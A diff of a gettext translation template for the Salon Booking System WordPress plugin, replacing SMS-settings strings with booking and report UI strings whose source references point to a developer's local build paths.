build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_general_reset.php:13, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_general_reset.php:13, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_general_reset.php:13\n-msgid \"Do you really want to reset?\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:37\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:37\n+msgid \"Mobile phone\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_general_sms.php:14, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:14, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:14, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:14, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:14, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:14\n-msgid \"SMS service provider\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FFbphoneStep.php:13\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FFbphoneStep.php:13\n+msgid \"Mobile phone can't be empty\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_general_sms.php:17, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:17, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:17, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:17, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:17, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:17\n-msgid \"To use all the SMS features you need an active account with Plivo o Twilio providers. \u003Cbr \u002F>\u003Cbr \u002F>Please read carefully their documentation about how to properly set the options.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FEnum\u002FDaysOfWeek.php:30\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FEnum\u002FDaysOfWeek.php:30\n+msgid \"Monday\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_general_sms.php:26, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:26, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:26, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:26, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:26, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:26\n-msgid \"Select your service provider\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:385\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FFunc.php:193\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:385\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FFunc.php:193\n+msgid \"month\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_general_sms.php:49, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:49, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:49, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:49, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:49, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:49\n-msgid \"Account ID\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FData\u002FFeatureIndex.php:12\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FData\u002FFeatureIndex.php:12\n+msgid \"Monthly, weekly, daily and assistant view. Add and edit reservations.\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:386\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:387\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:388\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:389\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:390\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FFunc.php:194\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FFunc.php:195\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FFunc.php:196\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:386\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:387\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:388\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:389\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:390\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FFunc.php:194\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FFunc.php:195\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FFunc.php:196\n+msgid \"months\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_general_sms.php:52, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:52, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:52, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:52, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:52, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:52\n-msgid \"Auth Token\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fextensions.php:632\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fextensions.php:632\n+msgid \"More details\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_general_sms.php:57, src\u002FSLN\u002FEnum\u002FCheckoutFields.php:320, src\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:335, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:57, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:320, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:57, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:335, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:57, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:57, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:57, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:320, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:320, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:320, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:320, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:335, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:335, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:335\n-msgid \"Country code\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:63\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:63\n+msgid \"more than\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_general_sms.php:60, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:60, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:60, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:60, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:60, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:60\n-msgid \"Sender's number\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fonboarding.php:135\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fonboarding.php:135\n+msgid \"Morning Shift\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_general_sms.php:67, src\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:358, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:67, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:67, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:358, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:67, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:67, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:67, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:358, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:358, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:358\n-msgid \"Trunk trailing 0 prefix\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmail\u002Fweekly_report\u002F_most_booked_assistants.php:9\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002Fweekly_report\u002F_most_booked_assistants.php:9\n+msgid \"MOST BOOKED ASSISTANTS\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_general_sms.php:77, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:77, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:77, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:77, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:77, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:77\n-msgid \"SMS Test console\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmail\u002Fweekly_report\u002F_most_booked_services.php:11\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002Fweekly_report\u002F_most_booked_services.php:11\n+msgid \"MOST BOOKED SERVICES\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_general_sms.php:77, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:77, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:77, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:77, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:77, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:77\n-msgid \"fill the fields and update settings\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmail\u002Fweekly_report\u002F_most_booked_week_days.php:11\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002Fweekly_report\u002F_most_booked_week_days.php:11\n+msgid \"MOST BOOKED WEEK DAYS\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_general_sms.php:83, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:83, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:83, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:83, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:83, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:83\n-msgid \"Number\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:829\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FThird\u002FGoogleCalendarImport.php:509\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckServices.php:251\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckDateAlt.php:454\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:829\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FThird\u002FGoogleCalendarImport.php:509\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckServices.php:251\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckDateAlt.php:454\n+msgid \"\"\n+\"Multiple attendants selection is disabled. You must select one attendant for \"\n+\"all services.\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_general_sms.php:86, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:86, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:86, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:86, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:86, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:86\n-msgid \"Message\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fservice.php:175\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:175\n+msgid \"Multiple attendats\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_general_sms.php:89, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:89, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:89, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:89, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:89, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:89\n-msgid \"Use this console just to test your SMS services. Fill the destination number without the country code, write a text message and click \\\"Update settings\\\" to send an SMS.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fattendant.php:71\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fattendant.php:71\n+msgid \"Multiple Customers per Session\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_general_sms.php:97, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:97, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:97, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:97, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:97, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:97\n-msgid \"SMS Notifications service\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:350\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:350\n+msgid \"Must be registered in the IP1 portal. Include country code without +\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_general_sms.php:105, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:105, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:105, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:105, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:105, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:105\n-msgid \"Send SMS notification on new bookings\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:40\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:40\n+msgid \"Name\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_general_sms.php:110, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:110, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:110, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:110, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:110, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:110\n-msgid \"SMS will be sent to your customer and a staff member\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: 